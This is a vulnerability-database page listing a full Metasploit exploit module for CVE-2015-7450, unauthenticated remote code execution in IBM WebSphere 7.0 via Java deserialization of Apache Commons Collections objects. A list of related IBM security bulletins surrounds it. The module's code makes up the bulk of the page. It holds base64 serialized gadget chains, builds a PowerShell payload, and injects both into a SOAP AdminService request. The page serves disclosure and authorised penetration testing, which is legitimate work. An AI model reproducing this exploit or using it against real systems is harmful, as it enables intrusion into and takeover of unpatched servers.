Lucene search
K

IBM WebSphere Remote Code Execution Java Deserialization

🗓️ 14 Mar 2017 00:00:00Reported by Liatsis FotiosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 253 Views

Exploits IBM WebSphere RCE via Java Deserialization vulnerability with Apache Commons Collections library to allow remote code execution without authentication.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Commons affects IBM Tivoli Composite Application Manager Agent for J2EE (CVE-2015-7450)
17 Jun 201815:13
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Commons affects IBM Flex System Manager(FSM) (CVE-2015-7450)
18 Jun 201801:32
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Commons affects IBM System Networking Switch Center (CVE-2015-7450)
31 Jan 201902:25
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Spring Framework for Java Deserialization in Rational Test Control Panel in Rational Test Workbench and Rational Test Virtualization Server (CVE-2015-7450)
17 Jun 201805:08
ibm
IBM Security Bulletins
Security Bulletins for Emptoris Program Management
8 Dec 201816:15
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM Business Process Manager shipped with IBM Cloud Orchestrator and IBM SmartCloud Orchestrator
17 Jun 201822:30
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in WebSphere Application Server shipped with WebSphere Remote Server (CVE-2015-7450)
15 Jun 201807:04
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in IBM WebSphere Application Server shipped with Tivoli Workload Scheduler (CVE-2015-7450)
17 Jun 201815:13
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Commons might affect WebSphere Industry Content Packs and IBM Business Process Manager Industry Packs (CVE-2015-7450)
15 Jun 201807:04
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in IBM WebSphere Application Server shipped with Tivoli Netcool Performance Manager (CVE-2015-7450)
17 Jun 201815:13
ibm
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization  
call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows  
remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Liatsis Fotios @liatsisfotios' # Metasploit Module  
  
# Thanks for helping me:  
# # # # # # # # # # # #  
  
# Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module  
# Dimitriadis Alexios @AlxDm_ # Assistance and code check  
# Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation  
],  
'References' =>  
[  
['CVE', '2015-7450'],  
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],  
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],  
['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'IBM WebSphere 7.0.0.0', {} ]  
],  
'DisclosureDate' => "Nov 6 2015",  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'WfsDelay' => 20  
}))  
  
register_options([  
OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),  
Opt::RPORT('8880')  
], self.class)  
end  
  
  
def exploit  
# Decode - Generate - Set Payload / Send SOAP Request  
soap_request(set_payload)  
end  
  
def set_payload  
# CommonCollections1 Serialized Streams  
ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="  
ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo="  
  
# Generate Payload  
payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)  
payload_exec = Rex::Text.encode_base64(payload_exec)  
end  
  
def invoke_ccs(serialized_stream)  
# Decode Serialized Streams  
serialized_stream = Rex::Text.decode_base64(serialized_stream)  
end  
  
def gen_payload  
# Staging Native Payload  
exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)  
exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")  
  
# Size up RCE - Buffer  
cmd_lng = exec_cmd.length  
lng2str = "0" + cmd_lng.to_s(16)  
buff = [lng2str].pack("H*")  
  
rce_pld = buff + exec_cmd  
end  
  
def soap_request(inject_payload)  
# SOAP Request  
req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"  
req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n"  
req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n"  
req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n"  
req += "</SOAP-ENV:Header>" + "\r\n"  
req += "<SOAP-ENV:Body>" + "\r\n"  
req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n"  
req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n"  
req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n"  
req += "</ns1:getAttribute>" + "\r\n"  
req += "</SOAP-ENV:Body>" + "\r\n"  
req += "</SOAP-ENV:Envelope>" + "\r\n"  
  
uri = target_uri.path  
  
res = send_request_raw({  
'method' => 'POST',  
'version' => '1.1',  
'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",  
'uri' => normalize_uri(uri),  
'data' => req  
})  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation